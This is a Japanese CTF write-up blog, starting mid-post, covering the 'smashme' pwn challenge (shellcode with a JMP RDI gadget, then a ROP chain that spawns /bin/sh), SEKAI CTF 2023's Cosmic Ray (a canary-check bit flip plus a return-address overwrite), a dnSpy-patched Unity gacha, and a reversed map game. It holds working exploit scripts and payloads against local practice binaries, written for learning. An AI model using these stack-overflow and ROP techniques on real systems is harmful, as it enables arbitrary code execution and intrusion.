シェルコードの上書きに対しては、挿入する文字列の順序を入れ替えて不要な部分を後に持ってくることで対応できそうだ。 スタックアドレスのオフセットについては解法を調べた(カンニング)ところ、入力した文字列の先頭アドレスがRDIレジスタに入っているので JMP RDI 命令を使ってジャンプできるということだった。 JMP RDI という命令そのものはプログラムの中に含まれていないが、0x4c4e1bに「0xff 0xe7」という配列があるため、ここに跳ぶことでJMP RDIを実行することができる。

このようにしてできたシェルコードは

$ (python2 -c 'print "\x48\x31\xf6\x56\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x31\xc0\xb0\x3b\x48\x89\xe7\x48\x31\xd2\x0f\x05" + "Smash me outside, how bout dAAAAAAAAAAA" + "\x90\x90\x90\x90\x90" + "\x1b\x4e\x4c\x00\x00\x00\x00\x00"') | ./smashme
Welcome to the Dr. Phil Show. Wanna smash?

である。 これを実行してもシェルは開かなかったのだが、GDBで確認するとSYSCALL前のレジスタやメモリの状況としては完全に想定したものになっていた。

SYSCALLの直前

ここで、同じシェルコードをPython2のpwntoolsから注入することでシェルを開くことができた。

from pwn import *

r=process('./smashme')
r.recvuntil("Welcome to the Dr. Phil Show. Wanna smash?")
r.sendline("\x48\x31\xf6\x56\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x31\xc0\xb0\x3b\x48\x89\xe7\x48\x31\xd2\x0f\x05" + "Smash me outside, how bout dAAAAAAAAAAA" + "\x90\x90\x90\x90\x90" + "\x1b\x4e\x4c\x00\x00\x00\x00\x00")
r.interactive()
$ python2 exploit.py 
[+] Starting local process './smashme': pid 4578                                                                                                                                        
[*] Switching to interactive mode

$ cat flag.txt
TAKEO{You_got_the_flag!}

シェルが開いているので、ディレクトリにあるファイルを見たり、ファイルを作ったり消したりと(権限の範囲で)何でもすることができる。 catコマンドで用意しておいたflagを表示させて終了。

結局pwntoolsからでないとうまくいかない理由は分からなかったが、何とか標準入力で成功させようと試行錯誤して2日ほど無駄にしてしまった。 最初 JMP RDI ではなく CALL RDI に飛ぼうと思っていたが、標準入力を使った場合はCALL命令が実行できないという問題もあった。 最初から素直にツールを使いましょう(1敗)

試行錯誤の過程でかなりアセンブリに対する理解は深まった気がするのでいいということにしておく。

ROPについて

smashmeでは外部から命令を注入してシェルを開くことに成功したが、NX bitが有効になっている場合にはそもそもスタック領域のデータを命令として実行することはできない。 こういった場合に用いられる攻撃手法がROP(Return Oriented Programming)である。

ROPはプログラム中に元々存在する命令だけを使って任意コード実行を行う手法で、スタックバッファオーバーフロー脆弱性を利用してスタック領域にあらかじめデータを仕込んでおき、RET命令で終わるコード片に順番にジャンプし続けるというもの。

smashmeをROPで解く

当初は「入門 セキュリティコンテスト」に載っている baby_stack という問題を解こうと思っていたのだが、どうしても解法をなぞるだけになってしまうので代わりにsmashmeをROPで解いてみることにした。

解法

シェルコードによる解法と同じく、目的はシェルを開くこと(RAX, RDI, RSI, RDXに値を入れ、SYSCALL命令を呼び出すこと)である。

まずはrp++を使って目的のコード片(ガジェット)を探す。

$ ./rp-lin-x64 --file=smashme --rop=5 | grep "pop rax ; ret"
0x004c3b26: add byte [rax], al ; pop rax ; ret  ;  (1 found)
0x004099f2: and al, 0xE8 ; pop rax ; retn 0xFFFF ;  (1 found)
0x004c3b28: pop rax ; ret  ;  (1 found)
0x004099f4: pop rax ; retn 0xFFFF ;  (1 found)

実行ファイルの中に目当てのガジェットがない場合は途中で別の命令が挟まったもので代用する必要があるとのことだが、今回は必要な命令をすべて単体で見つけることができた。

0x004c3b28: pop rax ; ret  ;  (1 found)
0x004014d6: pop rdi ; ret  ;  (1 found)
0x004015f7: pop rsi ; ret  ;  (1 found)
0x00441e46: pop rdx ; ret  ;  (1 found)
0x00479b62: mov qword [rdi], rsi ; ret  ;  (1 found)
0x004003da: syscall  ;  (1 found)

これらの命令を組み合わせてシェルを開くコードを作る。 POPやRETではスタックから値を取り出してレジスタにロードするので、ガジェットのアドレスとロードしたい値を交互にスタックに書き込んでいき、最初のアドレスがmain関数のリターンアドレスを上書きするように位置を調整する。 今回はスタック領域で命令を実行するわけではないのでキー文字列を最初に持ってくることができて、null文字がなくなるようにコードを調整する必要はない。

シェルコードの場合は途中で "/bin//sh" の文字列をスタックにPUSHしてRSPレジスタの値を第一引数としていたが、今回はスタックから値を取り出していくのでこの方法は使えない(入力する文字列を"/bin/sh"から開始すればRDIレジスタの値がパスの先頭アドレスを指していることになるが、パスの最後に終端文字を入れることができない)

そこでスタックからパスを一度取り出して.bssセクションに書き込んでいる。 .bssは初期値をもたない変数を格納するセクションであり、その性質上常に書き込み可能な領域である。

# coding: utf-8
from pwn import *

r = process("./smashme")
r.recvuntil("Welcome to the Dr. Phil Show. Wanna smash?")

bss = 0x6cab60  # bss領域の先頭アドレス
rop_chain = ""

# RDIにBSS領域の先頭アドレスを格納し、そのアドレスに"/bin/sh\x00"を書き込む
rop_chain += p64(0x004014d6)    # pop rdi ; ret  ;
rop_chain += p64(bss)
rop_chain += p64(0x004015f7)    # pop rsi ; ret  ;
rop_chain += "/bin/sh\x00"
rop_chain += p64(0x00479b62)    # mov qword [rdi], rsi ; ret  ;

# 各引数に値を格納する
rop_chain += p64(0x004c3b28)    # pop rax ; ret  ;
rop_chain += p64(0x3b)
rop_chain += p64(0x004015f7)    # pop rsi ; ret  ;
rop_chain += p64(0x0)
rop_chain += p64(0x00441e46)    # pop rdx ; ret  ;
rop_chain += p64(0x0)

# SYSCALL命令を実行
rop_chain += p64(0x004003da)    # syscall  ;

r.sendline("Smash me outside, how bout dAAAAAAAAAAA" + "\x00" * 33 + rop_chain)
r.interactive()

これを実行すると、シェルを開いてフラッグの内容を表示することができた。

$ python2 exploit.py
[+] Starting local process './smashme': pid 1738
[*] Switching to interactive mode

$ cat flag.txt
TAKEO{You_got_the_flag!}

感想

今回はsmashmeという問題を2つの手法を使って解いてみた。

開始から記事を書き終えるまで5日ほどかかっているが、実際に自分でやってみることでかなり勉強になった。 パソコンを使っていると「脆弱性」という言葉はよく聞くが、脆弱性の種類によっては簡単に任意コード実行に繋げられるということで、その重大さがよりリアルなものとして感じられるようになった気がした。

標準入力からだとSYSCALLがうまくいかなかった理由が分かる人がいたら教えてください。

Project SEKAI CTF 2023復習:Cosmic Ray (Pwn)

Cosmic Ray

Project SEKAI CTF 2023のPwnジャンルにおける難易度1の問題だった。 コンテスト中に解こうとして少しチャレンジしたが解けなかった。

あんまりよくわかってないので、「入門 セキュリティコンテスト」を見ながら復習。

問題概要

与えられたバイナリファイルを実行すると、

$ ./cosmicray
Welcome to my revolutionary new cosmic ray machine!
Give me any address in memory and I'll send a cosmic ray through it:
0x0

|0|1|2|3|4|5|6|7|
-----------------
|0|0|0|0|0|0|0|0|

Enter a bit position to flip (0-7):
0

Bit succesfully flipped! New value is -128

Please write a review of your experience today:
good

メモリアドレスを入力→bitのindexを入力→(指定したアドレスの指定したbitが反転する)→感想を入力→(終了)

となる。

解法

まず、感想を入力する際に長い文字列を入力すると異常終了することに気づく。

Please write a review of your experience today:
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
*** stack smashing detected ***: terminated
Aborted

しかし、このとき"stack smashing detected"と表示されているので何らかの方法でスタックバッファオーバーフローを検知して強制終了していると考えられる。

Ghidraで逆コンパイルしてみると、関数名の情報が残っているので簡単にmain関数が見つかる

undefined8 main(void)
{
  long in_FS_OFFSET;
  undefined8 local_40;
  char local_38 [40];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setbuf(stdout,(char *)0x0);
  puts("Welcome to my revolutionary new cosmic ray machine!");
  puts("Give me any address in memory and I\'ll send a cosmic ray through it:");
  __isoc99_scanf("0x%lx",&local_40);
  getchar();
  cosmic_ray(local_40);
  puts("Please write a review of your experience today:");
  gets(local_38);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

これを見ると、40バイト以上の感想を入力すると強制終了されるらしい。具体的には、in_FS_OFFSET+40の値が変わっていると弾かれることがわかる(カナリアチェック)

さらに詳しく調べると内部にwinという名前の関数があり、"./flag.txt"の内容を表示するようなので、これを呼び出すことができればFlagを取得できそうだ。 バッファオーバーフローで関数の戻りアドレスを書き換えてwin関数に飛ばせばクリアできそうだが、カナリアチェックを突破する必要がある。

今回は元々のプログラムの機能として任意のbitを反転させることができるため、これを使って突破することを考える。

カナリアチェックの際にJZ命令(0x74)が使われているが、これをJNZ命令(0x75)に書き換えることで「カナリアの値が変わっていなければ強制終了」という挙動に変更できると考えられる。 ここで、実行ファイルにchecksecを適用すると、PIEが適用されていないことがわかる。つまり、命令や関数のメモリアドレスは常に固定となる。

$ checksec --file=cosmicray
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   54) Symbols       No    0               4               cosmicray

Ghidraを使うとJZ命令のアドレスがわかるので、このアドレスの7bit目を反転させると予定通り短い感想で強制終了されるようになった。

Welcome to my revolutionary new cosmic ray machine!
Give me any address in memory and I'll send a cosmic ray through it:
0x4016f4

|0|1|2|3|4|5|6|7|
-----------------
|0|1|1|1|0|1|0|0|

Enter a bit position to flip (0-7):
7

Bit succesfully flipped! New value is 117

Please write a review of your experience today:
test
*** stack smashing detected ***: terminated
Aborted

これでカナリアチェックを突破できたので、感想の内容で関数のリターンアドレスを書き換えていく。 そのためには

  • 感想が記録されるメモリアドレスの先頭
  • main関数のリターンアドレスが記録されているメモリアドレスの先頭
  • win関数のアドレス

を知る必要がある。

感想が記録されるメモリアドレスの先頭は、Teyvat Travel Guideの要領でアセンブリを見て、GDBレジスタを参照することで調べることができた(0x7fffffffe070)

関数のリターンアドレスは、GDBでmain関数のRET命令で止めたときのスタックの一番上の値。

0x7fffffffe0a8がmain関数のリターンアドレス

更に、xコマンドでwin関数のメモリアドレスとその値を表示することができる。

gdb-peda$ x win
0x4012d6 <win>: 0xfa1e0ff3

0x7fffffffe070から0x7fffffffe0a8までは56バイトあるので、適当な56文字に0x4012d6を接続した文字列を感想として入力すればmain関数のリターンアドレスをwin関数のアドレスで上書きすることができる。

よって

$ (python2 -c 'print "0x4016f4";print "7";print "a"*56 + "\xd6\x12\x40\x00\x00\x00\x00\x00"') | ./cosmicray
Welcome to my revolutionary new cosmic ray machine!
Give me any address in memory and I'll send a cosmic ray through it:

|0|1|2|3|4|5|6|7|
-----------------
|0|1|1|1|0|1|0|0|

Enter a bit position to flip (0-7):

Bit succesfully flipped! New value is 117

Please write a review of your experience today:
TAKEO{You_got_the_flag!}
Segmentation fault

となり、flag.txtの内容を表示することができた(コンテストサーバーは閉じてしまっているので、ローカルに適当なflagを用意した)

余談

アドレスを書き換えるためには感想として任意のバイト列を入力できる必要がある。 bashでは難しいのでPythonを使ったのだが、いろいろ調べてみてもこういう場合には大抵Python2が使われているようで、実際にPython3ではなぜかうまく行かなかった。

$ python2 -c 'print "a"*56 + "\xd6\x12\x40\x00\x00\x00\x00\x00"'
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa�@
$ python3 -c 'print("a"*56 + "\xd6\x12\x40\x00\x00\x00\x00\x00")'
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaÖ@

print関数で同じ文字列を出力してみても、実際に表示されたものは異なっていた。 この仕組みを知っている人がいたら教えてください。

追記

Twitterで回答を募集したところ、kaitoさんに教えていただきました。

$ (python3 -c 'import sys;sys.stdout.buffer.write(b"0x4016f4\n" + b"7\n" + b"a"*56 + b"\xd6\x12\x40\x00\x00\x00\x00\x00\n");') | ./cosmicray
Welcome to my revolutionary new cosmic ray machine!
Give me any address in memory and I'll send a cosmic ray through it:

|0|1|2|3|4|5|6|7|
-----------------
|0|1|1|1|0|1|0|0|

Enter a bit position to flip (0-7):

Bit succesfully flipped! New value is 117

Please write a review of your experience today:
TAKEO{You_got_the_flag!}
Segmentation fault

Python3でバイト列を出力するためにはsys.stdout.buffer.write()を使う必要があるそうです。 importを書く必要があることや、関数の短さなどを考慮するとPwn界隈で未だにPython2が使われている理由もわかった気がしました。

Project SEKAI CTF 2023に初心者チームで出た

経緯

いつもボードゲームや謎解きをして遊んでいるグループでProject SEKAI CTF 2023にチームで参加する人を募集していたので参加してみた。 プロセカはやったことなかったが、コンテストページのUIがプロセカ仕様?ですごく凝っていた。

前回のチャレンジは↓ takeo1116.hatenablog.com

僕は前回と同じくreverseカテゴリの問題を一人で解いていた。

Azusawa's Gacha World

問題概要

Unityでビルドされたガチャアプリが与えられる。

小豆沢こはねHAPPY BIRTHDAYガチャを引くことができるが、100石しか持っていないので1回しか引くことができない。ガチャ詳細を見ると最大レアリティである「[Happy Birthday!!2023] 小豆沢こはね」の出現確率が0%となっており、100万回引くと必ず手に入ると書かれている。

ガチャ詳細画面

解法

Unityアプリなので、Managedディレクトリにあるdllをいじればなんとかなるだろうと当たりをつける。 見るとライブラリ系のDLLに交じってAssembly-CSharp.dllというファイルがあるので、とりあえずこれをGhidraにかけてみるもC#なので逆コンパイルまではできなかった。かろうじて石消費の処理を見つけてガチャを引くたびに石が増えるようにバイナリエディタで書き換えることはできたが、石が無限だったところでガチャを100万回引くことはどちらにしろ現実的ではない。

調べると、DnSpyというツールを使えばdotnetの逆コンパイルだけではなく書き換えまでできるということだった。

早速使ってみると、バイナリやアセンブリを解さずにdllの中身を直接コーディングするかのように書き換えることができた。 編集し終わったあと、対象のdllファイルをDnSpyからRemoveしないと反映されないことに注意。

GachaRequestの引数を変えて、既に999,999回引いた後ということにした。

難読化されていないdotnetアプリは逆コンパイルすると変数名やリテラルまでそのまま残っているというのは知らなかったので驚いた。 なんにせよ、これで100万回目だけを引くことができるので、100石で「[Happy Birthday!!2023] 小豆沢こはね」を手に入れてAC。

入手時に表示されるスチルにflagが埋め込まれている。

Teyvat Travel Guide

問題概要

netcatのコマンドと、解析用のバイナリファイルが与えられる。

解法

与えられたバイナリを実行すると、48×48のマップが表示される(幅の都合で省略)。 左上にX印がついているが、説明などは表示されない。

Start travelling...
+---+---+---+---+---+---+--
| X |   |   |   |   |   |  
+---+---+---+---+---+---+--
|   |   |   |   |   |   |  
+---+---+---+---+---+---+--
|   |   |   |   |   |   |  
+---+---+---+---+---+---+--
|   |   |   |   |   |   |  
+---+---+---+---+---+---+--
|   |   |   |   |   |   |  
+---+---+---+---+---+---+--
|   |   |   |   |   |   |  

問題タイトルやコンテストページのフレーバーから、左上に自分がいて、マップを歩くゲームだと解釈した。 入力待ちになっているのだが、何かを入力しても

The loneliness of death...

と表示されて終了してしまう(死んだということだろう)

何もわからないのでGhidraで解析して探っていくことにした。逆コンパイルしてみるも、関数名などの情報がすべて失われているので非常に読みにくい。 画面に"Start travelling..."という文字列が表示されていることから、この文字列が格納されている場所を調べることで目的の関数を見つけることができた。 これを手掛かりにコードを解析したり、実際に動かしたり、バイナリを書き換えて挙動を調べたりすることでかなり時間をかけつつもゲームのルールを理解できた。

  • プレイヤーは48×48のマップの左上にいる。
  • プレイヤーは値を持っており、333からスタートする(これをHPと解釈した。)
  • 1ターンごとに"R"または"D"を入力することで、右か下に1マスずつ進むことができる(それ以外を入力すると即死する。)
  • 各マスには値が設定されており、踏んだマスの値がHPに加算される(基本的には負の値なのでダメージとなるが、正の値もある。)
  • HPが0以下になったら死ぬ。
  • 残りHPがちょうど1の状態でマップの右下(The edge of tayvat)にたどり着くとクリアとなる。

ゲームをクリアするためには各マスのダメージを知る必要がある。 逆コンパイルしたコードを調べれば生成ロジックが分かりそうだが、読むのが難しいので動的にメモリを参照できないかと考えた。

Linuxで動作しているプロセスのメモリを動的に解析する方法を調べたところ、gdb-pedaが便利ということだったので導入した。 gdb-pedaを使うと命令単位でブレークポイントを設定して、その時点でのメモリの状態を参照することができる。

Ghidraでアセンブリニーモニックを見ながらマップ配列のアドレスがレジスタにロードされる場所に当たりをつけ、そこにgdb-pedaでブレークポイントを設定することでメモリアドレスを取得、そこからの配列の値を調べることができた。

(0, 0)から順に0, -22, -23, ...

配列の値が分かったら、実際にマップ上を移動してメモリ上でHPの変化を見ながらマップに対してどういう並びで値が設定されているのかを調べていく。 今回の場合マップには48×48=2304個のマスがあるが、配列の先頭から2304個が各マスに順番に入っているのではなく、配列の途中に0が16個並んでいる箇所が2つあり、その32個の0は無視されているようだった。 よって、左上には配列の0番目の値が、右下には配列の2335番目の値がダメージとして設定されているということになる。

こうしてすべてのマスのダメージ値が分かったら、左上から右下へ死なないように歩くときの最小ダメージ値は簡単なDPで求めることができて、その答えは332となる。 経路復元をすると

DDDDDRRDDRRRDRDDRDRDDRRDRRRRRDRRDDRRDDDRDRRDRDRRRDDRRRDRDRRRRDDDRRRDDRRRRRDDDDDRRDDRRDDRDDDDDD

となるので、この通りに移動すればゲームをクリアしてflagをゲットできた。

The edge of Teyvat...
SEKAI{Klee_was_a_brave_girl_today!_I_found_a_really_weird-looking_lizard!_Want_me_to_show_it_to_you?}

結果

チームとしては、3004ポイント獲得で25位/981チームだった。 CTF初心者チームなのだが、僕以外のチームメイトのAtCoderレーティングが高すぎる(赤、橙、橙)ためにPPCジャンル(競プロっぽい問題が分類されるジャンル)の問題を全完していた。 僕が個人で取れたポイントは500ポイントなので、初心者なりの活躍といった感じだった。

前回のSECCON BeginnerでReverseジャンルの問題を練習したので今回もReverseの問題をやっていたが、2問目に解いたTeyvat Travel Guideは難しい寄りの問題だったらしく31チームしか解けてなかったので、それが解けたのは良かった。 最終日にPwnジャンルのCosmic Rayという問題にチャレンジしていたのだが結局解けなかったので、後で復習したい。

チームメイトがプロ(2回目)